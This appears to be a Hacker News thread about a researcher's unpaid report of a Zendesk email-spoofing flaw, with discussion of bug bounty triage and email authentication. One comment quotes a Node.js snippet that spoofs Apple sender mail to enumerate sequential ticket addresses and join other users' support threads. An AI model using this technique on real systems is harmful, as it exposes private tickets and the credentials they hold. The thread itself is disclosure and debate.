[HN Gopher] 1 bug, $50k in bounties, a Zendesk backdoor
___________________________________________________________________
1 bug, $50k in bounties, a Zendesk backdoor
Author : mmsc
Score : 842 points
Date : 2024-10-12 11:55 UTC (11 hours ago)
(HTM) web link (gist.github.com)
(TXT) w3m dump (gist.github.com)
| pavlov wrote:
| The edited title on HN is incomprehensible.
|
| The original is:
|
| _"1 bug, $50,000+ in bounties, how Zendesk intentionally left a
| backdoor in hundreds of Fortune 500 companies"_
|
| A better edit might be something like:
|
| "The $50k bug where Zendesk backdoored Fortune 500 companies"
| mmsc wrote:
| It was supposed to be
|
| 1 bug, 50k:
|
| I don't know why the "1" got dropped.
| some_furry wrote:
| HN mangles submission titles.
|
| If you submit "Why I care" it'll decide that you meant 'I
| care".
|
| If you submit "10 More Secrets in Pokemon" it'll decide you
| meamt "More Secrets in Pokemon".
|
| Conversely, there's an entire cottage industry focused on
| writing attention-catching headlines, which results in
| patterns like what HN mangles.
|
| If it's annoying, OP can edit immediately after submitting to
| overwrite the mangled title with the correct one.
| gouggoug wrote:
| That title is also completely misleading because the author did
| not in fact get paid.
|
| 50k corresponds to the money they made with unrelated bug
| bounties.
|
| I wish they would fix the title so that it properly calls out
| zendesk refused to pay for a serious bug.
| masfuerte wrote:
| I understood it to mean that he received $50K from
| enterprises using Zendesk who were vulnerable to this bug,
| but it's not entirely clear.
| cjbprime wrote:
| "Unrelated" doesn't sound right. Zendesk refused to pay for
| the vulnerability, so the researcher used it against
| downstream customers of Zendesk, who did pay the researcher
| for the impact of that Zendesk vulnerability against their
| own company.
| gouggoug wrote:
| Indeed - I misspoke.
| bsuvc wrote:
| It sounds like the author got stiffed by Zendesk on this bug, $0
| due to email spoofing being out of scope.
|
| The $50k was from other bug bounties he was awarded on hackerone.
|
| It's too bad Zendesk basically said "thanks" but then refused to
| pay anything. That's a good way to get people not to bother with
| your big bounty program. It is often better to build goodwill
| than to be a stickler for rules and technicalities.
|
| Side note: I'm not too surprised, as I had one of the worst
| experiences ever interviewing with Zendesk a few years back. I
| have never come away from an interview hating a company, except
| for Zendesk.
| paulpauper wrote:
| That is why a black market exists for this stuff.
| c0balt wrote:
| The black market also exists because the potential payout for
| serious 0days by official programs is almost always less than
| what a third-party adversary will pay (if the target(s) for
| them are worth it).
| omoikane wrote:
| The price for 0days is highly variable according to this
| presentation (starting slide 65):
|
| https://github.com/mdowd79/presentations/blob/main/bluehat2
| 0...
|
| The same presentation also mentions (starting slide 17) how
| the requirements of 0days differs from public research,
| which is why some vulnerabilities would be difficult to
| sell.
| eastbound wrote:
| This. Fortunately the law makes it that it's inconvenient
| (possible prison time) to use the black market, which is a
| big thumb on the balance, but bug bounties are also often
| only $3000...
| yieldcrv wrote:
| Which law makes it a criminal sanction to use a black
| market like darknet marketplaces
|
| Software Exploits arent considered arms it is information
| that can be sold, the liability is on the person that
| does the unauthorized access, the person that steals
| data, the person that uses the data
|
| Hacking syndicates distribute liability akin to any
| corporation
| saagarjha wrote:
| CFAA?
| yieldcrv wrote:
| which puts the liability on the person that does the
| unauthorized access
|
| not about else and especially not for merely browsing or
| using or buying a legal good from a dark net market
|
| as I wrote
| r-w wrote:
| Accessory?
| yieldcrv wrote:
| Relies on intent of the seller, who would need to be
| found via a valid subpoena that needs to pass a threshold
| of cause
|
| who would then argue they also sold it to security
| researchers, journalists and assumed everyone was or
| didnt discriminate or have any intent at all
| saagarjha wrote:
| That's not how this works.
| Aachen wrote:
| > Fortunately the law makes it that it's inconvenient
| (possible prison time) to use the black market
|
| Don't forget that most people also simply don't sell
| bugs. They're not for sale in the first place; the bounty
| would be a thank-you or nice bonus, not a replacement for
| selling it
|
| I'm certainly not in a criminal bubble so I can't say how
| big the other side is, but (as a security consultant who
| knows a reasonable number of hackers) I doubt that I know
| anyone who'd choose, after getting no response from the
| company, to sell a bug for profit to a louche party
| rather than going full disclosure and warning everyone --
| or just doing nothing because it's not like it's their
| problem
|
| Edit: nvm someone did come to mind. We tried to steer
| them onto the right path at our weekly CTF team meetings
| but I'm not sure we succeeded. Anywho, still one to a few
| dozen
| exceptione wrote:
| If I am not mistaken, it wasn't zendesk that didn't want to
| recognize the bug, but HackerOne that did not escalate to
| Zendesk that they should reconsider the exclusion ground in
| this case.
|
| As an aside, I wonder if those bounties in general reflect the
| real value of those bugs. The economic damage could be way
| higher, given that people share logins in support tickets. I
| would have expected that the price on the black market for
| these kind of bugs are several figures larger.
| richbell wrote:
| > If I am not mistaken, it wasn't zendesk that didn't want to
| recognize the bug, but HackerOne that did not escalate to
| Zendesk that they should reconsider the exclusion ground in
| this case.
|
| Correct, the replies seem to have come from H1 triage and H1
| mediation staff.
|
| They often miss the mark like this. I opened a H1 account to
| report that I'd found privileged access tokens for a
| company's GitHub org. H1 triage refused to notify the company
| because they didn't think it was a security issue and ignored
| my messages.
| chabons wrote:
| The author specifically stated: "Realizing this, I asked for
| the report to be forwarded to an actual Zendesk staff member
| for review", before getting another reply for H1. I read this
| as they escalated it to Zendesk directly, who directed it
| back to HackerOne.
| johnmaguire wrote:
| It wasn't clear to me as even at that point it was an "H1
| Mediator" who responded.
|
| Also the bit about SPF, DKIM and DMARC seems to show a
| misunderstanding of the issue: these are typically excluded
| because large companies aren't able to do full enforcement
| on their email domains due to legacy. It's a common bug
| report.
|
| In this case, the problem was that Zendesk wasn't
| _validating_ emails from external systems.
| nightpool wrote:
| In this case, that probably means that H1 had a Zoom or
| Slack convo with the team and is relaying their decision
| into text instead of making them write it down
| themselves.
| johnmaguire wrote:
| Yeah probably, but what information did H1 relay to them?
| Did they read the email, or did they get H1's
| interpretation of the bug? Because the SPF/DKIM/DMARC
| stuff really doesn't make sense with context.
| renewiltord wrote:
| > $0 due to email spoofing being out of scope.
|
| Strictly, $0 because he disclosed to customers. But he only
| disclosed to customers since Zendesk said it was out of scope.
| jeroenhd wrote:
| HackerOne declared the issue out of scope so I don't see why
| disclosure would make a difference here. Had this person not
| notified different companies, they still wouldn't get a dime
| from HackerOne.
|
| Bad showings all around, for both HackerOne and Zendesk.
| mmsc wrote:
| >HackerOne declared the issue out of scope so I don't see
| why disclosure would make a difference here.
|
| Indeed, but just you wait for Zendesk to say "well, _we_
| didn't mark it out of scope!" as if delegating it to h1
| renegades all responsibility.
| cjbprime wrote:
| (There's a not-very-convincing argument that they declared
| the ability to view support tickets as out of scope, but
| were not given a chance to assess the Slack takeover
| exploit's scope.)
| nodamage wrote:
| The Slack takeover exploit is a problem on Slack's end
| (and sounds more like a configuration issue than a bug)
| so Zendesk would not be responsible for that anyway
| though.
| gouggoug wrote:
| > Side note: I'm not too surprised, as I had one of the worst
| experiences ever interviewing with Zendesk a few years back. I
| have never come away from an interview hating a company, except
| for Zendesk.
|
| Same thing happened to me years ago. Interviewed with them and
| it was the worst "screening" experience I ever had. After
| getting a rejection email, I thanked them for their time and
| said I had feedback about the interview should they want to
| hear it. They said yes, please.
|
| Sent my feedback, never heard from them again.
| swoorup wrote:
| Same it was time-wasting interview experience. They seem
| interested and not interested at the same time. They pinged me
| for a different role after passing me up for the first role,
| but didn't get any response later..
| layer8 wrote:
| > due to email spoofing being out of scope.
|
| I believe their logic was that only the domain owner can
| adequately prevent email spoofing by proper SPF/DMARC
| configuration, and that it's the customers' fault if they don't
| do that. Which isn't entirely wrong.
| johnmaguire wrote:
| Are Google and Apple not doing proper SPF/DMARC/DKIM? I think
| they probably are - but this attack worked anyway.
|
| Zendesk wasn't validating the email senders.
| layer8 wrote:
| Apple and Google weren't involved as email sender
| addresses.
| johnmaguire wrote:
| Read the repro steps again:
|
| > Create an Apple account with support@company.com email
| and request a verification code, Apple sends verification
| code from appleid@id.apple.com to support@company.com and
| Zendesk automatically creates a ticket
|
| It's a clever attack.
| Thorrez wrote:
| I agree with your point, but that email's not the best
| example because it would have passed SPF/DMARC/DKIM. It's
| a step or two later that involved sending a spoofed email
| from appleid@id.apple.com : const
| sendmail = require('sendmail')(); //
| Assuming the ticket you created in step #2 was assigned a
| ticket ID of #453 // verification email landed
| somewhere near there const range = [448, 457];
| for (let i = range[0]; i < range[1]; i++) { //
| Send spoofed emails from Apple to Zendesk
| sendmail({ from: 'appleid@id.apple.com',
| to: `support+id${i}@company.com`, cc:
| 'daniel@wearehackerone.com', subject: '',
| html: 'comment body', }, function (err, reply)
| { console.log(err && err.stack)
| console.dir(reply) }); };
| johnmaguire wrote:
| This is exactly my point: if Apple has SPF/DKIM/DMARC
| configured correctly, then Zendesk should be validating
| the email sender. That they didn't is technically an
| SPF/DKIM/DMARC issue - a bug in Zendesk - but it is not a
| customer misconfiguration issue.
| tryauuum wrote:
| if someone's reading this thread: yes, apple does have
| dmarc / spf $ dig id.apple.com TXT
| +short "v=spf1 include:_spf-txn.apple.com
| include:_spf-mkt.apple.com include:_spf.apple.com
| include:icloud.com ~all" $ dig
| _dmarc.id.apple.com TXT +short "v=DMARC1;
| p=reject; rua=mailto:d@rua.agari.com;
| ruf=mailto:d@ruf.agari.com;"
| hmottestad wrote:
| And it's still out of scope for the HackerOne bug bounty
| program.
| tryauuum wrote:
| I wonder how redirects from support@company.com to
| zendesk work? if it's via MX records pointing to zendesk
| that it's zendesk's fault for not checking DMARC If it's
| another type of redirect then yes, you can blame
| customers for not verifying DMARC
| nightpool wrote:
| Right, but I would be really shocked if Zendesk's internal
| email handler was doing any SPF/DKIM/DMARC validation at all.
| So even if a domain has DMARC set up, Zendesk is probably
| ignoring it. Which is probably pretty reasonable given how
| rare DMARC reject/quarantine has been historically
| belter wrote:
| Seems a pattern:
| https://www.reddit.com/r/sales/comments/1eck30a/terrible_zen...
| pm90 wrote:
| I too had the worst interview experience with zendesk. The
| people I talked to were pretty senior folks too. They just seem
| to have a very petty and toxic work culture.
| ldoughty wrote:
| I hate that Zendesk refused to pay out for this bug. The author
| made a good faith effort to report it. The author also tried to
| escalate it.
|
| After they decided not to work on it, they later came back and
| asked him for more information and treat it like a bug...
|
| Author should have gotten a reward. Did everything right if
| Zendesk claims it's not a in scope bug.
| paulpauper wrote:
| That is how it works. Do nothing so that the researcher breaks
| the rules innadvetedly as an excuse to not pay, and then fix
| the problem.
| paulpauper wrote:
| lol $0 Companies cutting corners on security also skimp on paying
| bounties. No surprise there. The only possible exception are
| crypto bounties. Those are much bigger and a greater willingness
| to pay due to the stakes.
| napsterbr wrote:
| It's unbelievable that he received no bounty from Zendesk on this
| one. If it was out of scope, then surely he could have published
| it anywhere?
| yfw wrote:
| It's owned by private equity. Slowly cutting costs and bleeding
| the brand dry
| 8b16380d wrote:
| I mean, this existed long before acquisition. Maybe the
| response could have been different in the past, but there is
| nothing to indicate that would be true.
| ciabattabread wrote:
| A demonstration of the ol' adage that in order to solve a
| problem, make it someone else's problem.
| mnau wrote:
| Isn't that the the usual workflow of security researchers?
| maeil wrote:
| A $1.3 billion revenue company being too tight to pay this after
| all, even on their 2nd chance, is so short-sighted it's absurd.
| They're putting out a huge sign saying "When you find a vuln,
| definitely contact all our clients because we won't be giving you
| a penny!".
|
| Incredible. This must be some kind of "damaged ego" or ass-
| covering, as it's clearly not a rational decision.
|
| Edit: Another user here has pointed out the reasoning
|
| > It's owned by private equity. Slowly cutting costs and bleeding
| the brand dry
| paulpauper wrote:
| If the bounty is big enough you basically need to retain a
| lawyer so the whole thing is done right and prevent being
| scammed.
| gavingmiller wrote:
| zendesk is 6k employees, they have general council on staff
| genter wrote:
| I think paulpauper is saying the researcher that finds the
| vulnerability needs a lawyer.
| pphysch wrote:
| I thought the point of bug bounties was to incentivize
| whitehat behavior, not scare them off with legal BS. Lol.
| hinkley wrote:
| Tarpit?
| paulpauper wrote:
| correct
| zer0x4d wrote:
| This is worse than Docusign. What do 6000 people at Zendesk
| do? It's a simple ticket management software with maybe 10
| features
| teaearlgraycold wrote:
| I look at the Docusign building every day and shake my
| head. 20 stories of office space!
| pavlov wrote:
| Software developers being surprised that software
| companies need to do a lot more than just write code is
| kind of like sailors being surprised that global
| logistics involves a lot more than handling a ship.
| appendix-rock wrote:
| Still naive enough to buy into the lie that they can just
| be "left alone to do the REAL work" and a business
| just...spontaneously appears around them.
| ozim wrote:
| Solopreneurs making millions just like Pieter Levels are
| giving wrong impression.
| echoangle wrote:
| I am actually seriously interested in what people there
| do day to day. I'm wondering this about a lot of very
| large companies, I would definitely watch a documentary
| about that.
| ianmcgowan wrote:
| Just re-watch Office Space..
| IggleSniggle wrote:
| Hour-long meetings about whether the copy should read
| "data center," "datacenter," "data-center," or whether it
| is really even correct to say any of these at all. And
| then negotiating with the design folks to fit in the
| extra character. Only to throw it all away because nobody
| thought about the fact that it has to support 5 different
| languages.
|
| I wish I was kidding. Used to work at a place that did
| crap like that, pulling in developers for these time
| sucks because "only they really know the correct
| technical usage for our industry."
| beryilma wrote:
| I had a similar meeting with documentation folks about
| "dataset" vs. "data set". With Google trend charts and
| all... I also wish I was kidding.
| Aachen wrote:
| It's not weird to pick one and keep a consistent style,
| for example by looking at Google or at Wikipedia or some
| other source if the dictionary lists both or neither, but
| to have meetings about it?!
| willcipriano wrote:
| Feels like something the technical writers and copy
| writers should decide around the watercooler if anything.
|
| Smells like being afraid to make a choice, even a tiny
| one.
| biosboiii wrote:
| I work in one of the biggest companies of the world
| (employee and revenue wise) and it's basically a run-off
| reaction of well-articulated desk employees jerking each
| other off that, telling each other that they are so very
| important.
|
| And the common management approach to anything not
| working immediately is "throw another 1.000 employees
| into the project" and the middle-managers measure their
| success by how many employees they are managing so it's a
| train without breaks. Hope it goes bankrupt soon.
| MangoCoffee wrote:
| I previously worked for a mortgage software startup that
| attracted interest from big banks.
|
| To ease concerns about our scalability and longevity, we
| move from a tiny office to an office with a lot of empty
| space.
|
| This strategic move supposes signaled to prospective
| corporate clients that we were committed to sustaining
| our solution over the long term, rather than just a few
| years but in the end the company went out of business. so
| much for that.
| ozim wrote:
| Yet the same corporate will eat anything that Google or
| MSFT does while we all know they kill projects just like
| anyone else or like any smaller company going out.
| j0hnyl wrote:
| If you google "Zendesk annual revenue" you will find that
| perhaps many of those 6000 employees are doing something
| after all.
| hinkley wrote:
| Big companies are places where you get kudos for only
| taking two weeks to solve a problem you've solved
| elsewhere in two days. To an extent it's Little's Law.
| The latency requires more "CPUs" to handle the traffic.
| to11mtm wrote:
| This is super loud to me RN because some of these "big"
| companies are case studies in Mythical Man Month's "N
| channels of communication" as well as weird flashbacks to
| discussions on costs context switching and schedulers in
| various CS courses.
| pphysch wrote:
| If it's anything like ServiceNow, they have insane
| feature bloat and poor overall software architecture.
| wredue wrote:
| Every single click in ServiceNow takes a full 2 seconds
| to do anything. For a ticketing system. Insane.
|
| What's more insane is that it is still better than the
| vast majority of ticketing software. I don't know what it
| is about ticketing and Helpdesk that it ALwAYs ends up
| like that.
| svdr wrote:
| We are using Helpscout wich is very nice over all. The
| also do not send the weirdly formatted ticket email, with
| 'respond above this line' etc.
| riehwvfbk wrote:
| What's interesting is that Frank Slootman touts this
| transformation as a huge success in his book and talks at
| length about his conflict with Fred Luddy (who originally
| authored the simple ticketing incarnation of the
| ServiceNow monsterblob). The focus on keeping things
| simple is highlighted as an example of nerds' nearsighted
| thinking.
| pphysch wrote:
| I'm sure it's a huge success for the few earning the
| profits from ServiceNow.
|
| Like any SaaS, the more feature boxes you check, the more
| potential customers you can "satisfy". And the worse the
| UX gets for the average user (which then gets driven to
| purchasing more support).
|
| Great for business (the few), terrible for users (the
| many). No contradiction there.
| dewey wrote:
| Let me guess, you could build it over the weekend?
| zer0x4d wrote:
| Never said that, but a competent engineer should be able
| to build like 75% of the main functionality of Zendesk
| over a weekend.
|
| Now, I understand there's probably a lot more to it which
| is why I would expect it to be a company of around 50
| engineers and 150 business/marketing/etc and that's being
| generous.
|
| The hill I'd die on is that, with money not being a
| scarce resource and a technically feasible challenge
| present, a team of 200 should be able to build and
| sustain almost anything in the world. And that's being
| even generous. I think realistically a team of 50 should
| be able to build _almost_ anything
| dewey wrote:
| That's a very HN take but the reality is that the tech is
| usually never the hard part. Selling, supporting, legal,
| all the certifications and enterprise contracts you have
| to do for a product like that are the hard part.
| TZubiri wrote:
| Valuable? Yes Tiring? Sure Hard? I guess
|
| You have to admit it's a very social job, talking with
| lots and lots and lots of people
| SL61 wrote:
| A lot of them are probably sales and support.
| isbvhodnvemrwvn wrote:
| Zendesk is not just one product, they have:
|
| - chat stuff you can embed into your site for user
| support
|
| - managed call center software
|
| - knowledgebase management linking all the other services
|
| - whitelabel consumer forums you can use for offloading
| some of the support
|
| - a shitton of analytics
|
| - sales CRM
|
| - profile platform you can link to various sources of
| information to get info on their activity on your site,
| so that you can use that for support
|
| And there is probably a few more. Sales CRM alone can be
| its own company.
|
| As usual on hackernews there is a lot more to it, but you
| are just not exposed to it.
| mmsc wrote:
| It all makes sense if you consider bug bounties are largely:
|
| 1) created for the purpose of either PR/marketing, or a
| checklist ("auditing"), 2) seen as a cheaper alternative to
| someone who knows anything about security - "why hire someone
| that actually knows anything about security when we can just
| pay a pittance to strangers and believe every word they say?"
|
| The amusing and ironic thing about the second point is that by
| doing so, you waste time with the constant spam of people
| begging for bounties and reporting things that are not even
| bugs let alone security issues, and your attention is therefore
| taken away from real security benefits which could be realized
| elsewhere by talented staff members.
| richbell wrote:
| > you waste time with the constant spam of people begging for
| bounties
|
| A great blog post on the matter https://www.troyhunt.com/beg-
| bounties/
| two_handfuls wrote:
| It's a great read, but it looks like a number of the
| screenshots are missing.
| richbell wrote:
| That's strange, I don't see any missing images. Perhaps
| the Twitter embeds are breaking intermittently?
|
| Edit: nevermind, I see what you mean. Twitter embeds
| work, direct images don't.
| NicoJuicy wrote:
| Our company has a bug bounty program:
|
| - handled with priority, but sometimes it takes a couple of
| weeks for a more definite fix
|
| - handled by the security department within the company ( to
| forward to relevant PO's and to follow up)
|
| The unfortunate thing about bug bounties is that you will be
| hammered with crawlers that would sometimes even resemble a
| DDOS
| fsckboy wrote:
| > _The unfortunate thing about bug bounties is that you
| will be hammered with crawlers_
|
| you mean your product will be hammered by people testing to
| find holes, thus garner the bounty? or some other reason?
| NicoJuicy wrote:
| Yes. Crawlers, security scanners, ...
|
| Eg. Testing all vulnerable wp plugin paths on all
| domains. Multiple times a minute
| j0hnyl wrote:
| It's incredibly hard and resource intensive to run a bounty
| program, so anyone doing it for shortcuts or virtue signaling
| will quickly realize if they're not mature enough to run one.
| ec109685 wrote:
| I don't agree. Bug bounties are taken seriously by at least
| some companies. Where I have worked, we received very useful
| reports, some very severe, via HackerOne.
|
| The company even ran special sessions where engineers and
| hackers were brought together to try to maximize the number
| of bugs found in a few week period.
|
| It resulted in more secure software at the end and a
| community of excited researchers trying to make some money
| and fame on our behalf.
|
| The root cause in this case seems to be that they couldn't
| get by HackerOne's triage process because Zendesk excluded
| email from being in scope. This seems more like incompetence
| than malice on both of their parts. Good that the researcher
| showed how foolish they were.
| dgoldstein0 wrote:
| This feels like a case in the gray area. On the one hand,
| companies need to declare certain stuff out of scope -
| whether they know about it and are planning to work on it,
| or consider it acceptable risk, as the point for the
| company is to help them improve their security posture
| within the scope of the resources they have to run the bug
| bounty program. What's weird here is that the blog author
| found an email problem that wasn't really in that DKIM/SPF
| etc area, and Zendesk claimed that exemption covered it.
| Without a broader PoC to show how it could be weaponized,
| it's hard to say that Zendesk was egregiously wrong here -
| the person triaging just lacked the imagination to figure
| out that it would be a real problem. Hell, later in the
| write up we learn Zendesk does do spam filtering on the
| inbound emails, and so it's not crazy to think a security
| engineer reading the report may assume that stuff would
| cover their butts, when it failed miserably here. (A good
| Engineer would check that assumption though)
|
| That said putting my security hat on, I have to ask - who
| thought that sequential ticket ids in the reply-to email
| address were a good idea? they really ought to be using
| long random nonces; at which point the "guess the right id
| to become part of the support thread" falls apart. Classic
| enumeration+IDOR. So it sounds like there's still a
| potential for abuse here, if you can sneak stuff by their
| filters.
| Thorrez wrote:
| >Without a broader PoC to show how it could be
| weaponized, it's hard to say that Zendesk was egregiously
| wrong here
|
| There was a PoC of how to view someone else's ticket
| (assuming you know the other person's email and
| approximately when the ticket was filed).
|
| >it's not crazy to think a security engineer reading the
| report may assume that stuff would cover their butts
|
| It sounds like they got a report saying "I can spoof an
| email and view someone else's report". Why would they
| assume the spam protection would protect them when they
| have a report saying it's not protecting them?
| dgoldstein0 wrote:
| I suppose my point is "read someone else's ticket" is far
| from the worst case scenario here. It certainly sounds
| like zendesk didn't care to protect ticket contents ...
| Which the more I think about it is pretty egregious, as
| support tickets can include PII.
|
| In general, I do expect for the folks reading hackerone
| reports to make some mistakes; there's a lot of people
| who will just run a vulnerability scanner and report all
| the results like they've done something useful. Sometimes
| for real bugs you have to explain the impact with a good
| "look what I can do with this."
|
| Also, the poster didn't share their submission with us,
| just the responses. So it's hard to know how clear they
| were to zendesk. A good bug with a bag explanation o
| would not expect to get paid
| mmsc wrote:
| >Sometimes for real bugs you have to explain the impact
| with a good "look what I can do with this."
|
| I'm not sure. Anybody that keeps up to date with security
| (e.g. those working in a security team) should know that
| ticketing systems also contains credentials sometimes.
| For example when Okta was breached, the main concern was
| that Okta support tickets contain.... session tokens,
| cookies, and credentials!
|
| https://www.bleepingcomputer.com/news/security/okta-says-
| its...
|
| What's the point of having a security team that can't
| directly link external experience to their own system?
| Learning the same mistakes that have already been known?
| mmsc wrote:
| >Without a broader PoC to show how it could be
| weaponized, it's hard to say that Zendesk was egregiously
| wrong here
|
| The implications of being able to read arbitrary email
| contents from arbitrary domains' support (or otherwise)
| addresses are well known, and any competent security
| personnel in ZenDesk's security team should know this is
| exactly what can happen.
|
| Something similar has been discussed on HN before:
| https://news.ycombinator.com/item?id=38720544 but the
| overall attack vector of "get registration email send to
| somewhere an attacker can view it" is not novel at all;
| it's also how some police database websites have been
| popped in the past (register as @fbi.gov which
| automatically gives you access; somehow access the inbox
| of @fbi.gov due to some public forwarding, for example)
| dgoldstein0 wrote:
| I agree it's bad, but you are assuming a lot of
| institutional memory which may not exist
| mmsc wrote:
| Yes, I expect a security engineer to hold knowledge.
| That's why they have a job, instead of replacing the
| security them with an LLM. If nobody in the team has that
| experience, it speaks exactly to the issue that has been
| outlined in the OP: not enough knowledge of security
| issues beyond the basics.
| supsep2 wrote:
| HackerOne is an awful company with a terrible product. Not
| the first time I've heard of their triage process or
| software getting in the way of actual bug bounty.
| mmsc wrote:
| They all are. Bugcrowd once told me that, "yes, it's not
| a security issue or even a bug, but we recommend
| providing small (100EUR) rewards for non-bugs to keep
| researchers engaged!"
| portaouflop wrote:
| Everything is bad sounds like a defeatist stance. Fact is
| they are better than triaging everything yourself and
| also better than outright ignoring all vuln reports.
|
| It's an imperfect system I agree - but it's the best we
| have
| mozman wrote:
| I use a competitor to HackerOne. I view all submissions
| pre-triage and would have taken it seriously, even if I
| made a mistake in program scope. I have paid researchers
| for bugs out of scope before because they were right.
| portaouflop wrote:
| You can also view all submissions in h1 pre triage. This
| was incompetence on both h1 and zendesk as gp stated not
| a limitation of the platform per se.
| mozman wrote:
| Sure, that's why I am not naming a competitor. Security
| leadership is the biggest wildcard. I always want to do
| the right thing. Not everyone does.
| wil421 wrote:
| "2) seen as a cheaper alternative to someone who knows
| anything about security - "why hire someone that actually
| knows anything about security when we can just pay a pittance
| to strangers and believe every word they say?""
|
| It doesn't make sense, companies with less revenue aren't the
| ones doing this. It's usually the richer tech companies.
| mmsc wrote:
| >It doesn't make sense, companies with less revenue aren't
| the ones doing this. It's usually the richer tech
| companies.
|
| Because for some reason, it's larger tech companies that
| love to bean-count their way through security.
| ozim wrote:
| It is also larger tech companies that have basically
| infinite attack surface.
|
| So my argument is that it does not matter how much they
| spend on security they will get hacked anyway, only thing
| they can do is keep spending in check and limit scope of
| hacks.
| kozikow wrote:
| > A $1.3 billion revenue company being too tight to pay this
| after all, even on their 2nd chance, is so short-sighted it's
| absurd.
|
| I'll give an "another side" perspective. My company was much
| smaller. Out of 10+ "I found a vulnerability" emails I got last
| year, all were something like mass-produced emails generated
| based on an automated vulnerability scanning tool.
|
| Investigating all of those for "is it really an issue" is more
| work than it seems. For many companies looking to improve
| security, there are higher ROI things to do than investigating
| all of those emails.
| DaiPlusPlus wrote:
| We have a policy to never acknowledge unsolicited emails like
| that _unless_ they follow the simple instructions set-out in
| our /.well-known/security.txt file (see
| https://en.wikipedia.org/wiki/Security.txt) - honestly all
| they have to do is put "I put a banana in my fridge" as the
| message subject (or use PGP/GPG/SMIME) and it'll be instantly
| prioritised.
|
| The logic being that any actual security-researcher with even
| minimal levels of competency will know to check the
| security.txt file and can follow basic instructions; while if
| any of our actual (paying) users find a security issue then
| they'll go through our internal ticket site and not public
| e-mail anyway - so all that's left are low-effort vuln-
| scanner reports - and it's always the same non-issues like
| clickjacking (but only when using IE9 for some reason, even
| though it's 2024 now...) or people who think their browser's
| Web Inspector is a "hacking tool" that allows anyone to edit
| any data in our system...
|
| And FWIW, I've never received a genuine security issue report
| with an admission of kitchen refrigeration of fruit in the 18
| months we've had a security.txt file - it's almost as-if
| qualified competent professionals don't operate like an
| embarrassingly pathetic shakedown.
| hmottestad wrote:
| I saw a great presentation from Finn.no on their bug bounty
| program. They had had great success, despite the amount of
| work it took. Much more so than the three different
| security companies they hired each year to find
| vulnerabilities.
|
| They also had a security.txt file and had received several
| emails through that, but all of it was spam. Ironically
| they had received more real security vulnerabilities
| through people contacting them on LinkedIn than through
| their security.txt file.
|
| Your milage may vary, but it didn't seem like the
| security.txt file was read by the people one would hope
| would read it.
| to11mtm wrote:
| https://www.sqlite.org/cves.html provides an interesting
| perspective. While they thankfully already have a pretty low
| surface area from overall design/purpose/etc, You can see a
| decent number of vulns reported that are either 'not their
| fault' (i.e. wrappers/consumers) or are close enough to the
| other side of the airtight hatchway (oh, you had access to
| the database file to modify it in a malicious way, and
| modified it in a malicious way)[0]
|
| [0] - https://sqlite.org/forum/forumpost/53de8864ba114bf6
| jejeyyy77 wrote:
| it never made sense to me why these white-hat hackers don't
| require payment before disclosing the vulnerability
| tptacek wrote:
| Bug bounty people do this all the time. It's almost always a
| sign that your bug is something silly, like DKIM.
|
| _Later_
|
| I wrote this comment before rereading the original post and
| realizing that they had literally submitted a DKIM report
| (albeit a rare instance of a meaningful one). Just to be
| clear: in my original comment, I did not mean to suggest this
| bug was silly; only that in the world of security bug
| bounties, DKIM reports are universally viewed as silly.
| deadliftdouche wrote:
| Nice writeup and fuck Zendesk, this could have done so much
| damage.
| zer0x4d wrote:
| We don't know if it hasn't to be honest. State actors and
| exploit sellers could have known about this bug for years and
| exploited it before it was found by this white hat
| segmondy wrote:
| Once I started reading the post, I said to myself, Deja vu.
| chc4 wrote:
| Years ago I had a similar train of thought: Zendesk is used by a
| ton of companies for their support site, and back then HTTPOnly
| cookies and javascript site isolation were much less of a thing.
| I found an XSS bug on Zendesk, which also translates into XSS on
| any site that used it as `support.fortune500.com` subdomain
| (which was a lot). You could then use it to exploit the main
| site, either by leaking user cookies or reading CSRF tokens from
| page contents because it was a subdomain.
|
| Zendesk gave me a tshirt but not any money for it. C'est la vie.
| sova wrote:
| Zendesk pay the man. He disclosed only after you waved it off as
| a nonthreat. Pay. The. Man.
| Aachen wrote:
| Not even really 'disclosing' but just reporting to affected
| parties that they've got a problem
|
| That this hurts Zendesk is too bad, it's still the morally
| correct thing to do and Zendesk probably understands that, too
| bsuvc wrote:
| Another example of how weasley Zendesk can be:
|
| They created a fake band called "Zendesk Alternative" just in an
| attempt to pollute the Google results if you search for an
| alternative to Zendesk.
|
| http://zendeskalternative.com/
|
| While not illegal, it shows the way they think, a sort of
| manipulative pettiness.
| realusername wrote:
| Interesting technique but on my side I see it at the very
| bottom of the second page of Google so I don't think it's very
| effective.
| ec109685 wrote:
| It's from 2016, so probably lost its mojo.
| codetrotter wrote:
| They need to get the band back together! Release a new
| album, and go on a world wide reunion tour. And in 2026
| they've got to release a Best of Zendesk Alternative
| remastered album.
|
| And in 2027, Zendesk finds that the strategy worked. A
| little _too_ well! Now the top search result for Zendesk is
| the rock band, and if you ask an AI about Zendesk, the AI
| starts yappin about a rock band too! Hahaha
| patcon wrote:
| Aaaaaahhh I am on a rollercoaster of customer experience. I am
| beyond annoyed at Zendesk for stiffing this kid, but actually
| kinda charmed by this quirky marketing gimmick.
|
| But also, SECURITY culture concerns beat culture culture.
| Companies should def consider ditching them for this lapse and
| their poor form in making it right.
|
| If Zendesk is smart, they should hop on this thread and pay
| this kid out while everyone is still paying attention in one
| place, rather than later, when everyone is quietly making
| business decisions in a thousand little alcoves of the
| internet.
|
| Otherwise, this is the best thing to happen to the Zendesk
| Alternatives in a long time
| talldayo wrote:
| > but actually kinda charmed by this quirky marketing
| gimmick.
|
| Calling yourself 'charmed' by an insecurity-driven marketing
| shtick that denies rational competition is certainly one
| reaction.
|
| "The book burning was abhorrent, in principle. But the lights
| were so calm and the fire was so warm... I was actually kinda
| charmed!"
| givemeethekeys wrote:
| Yeah, and free backstage passes to the next Zendesk
| Alternternative concert! /s
| bryanrasmussen wrote:
| >but actually kinda charmed by this quirky marketing gimmick.
|
| I'm actually pretty annoyed at the stupidity, it's the kind
| of thing that even a shitty search engine won't be fooled by
| and hey when I search for Zendesk alternatives I don't see
| any brand called Zendesk alternative in first few results.
|
| I mean it's like they're too stupid to do what every other
| weaselly scumbag does, get some fake reviews up comparing
| your brand to alternatives with the reviews carefully
| weighted so your target customer base will be uh, I guess
| Zendesk is really what we want then.
|
| Or at least buy an ad words for the search - with the words
| Zendesk - There is No Alternative showing up before all the
| alternatives.
|
| It's ok Zendesk if you use my clever slogan because you can't
| think of one on your own - I'm not expecting you to pay me
| for it.
| tredre3 wrote:
| > it's the kind of thing that even a shitty search engine
| won't be fooled by
|
| Searching `Zendesk alternative` (no s, no quotes):
|
| - Google shows it in the top 5 results.
|
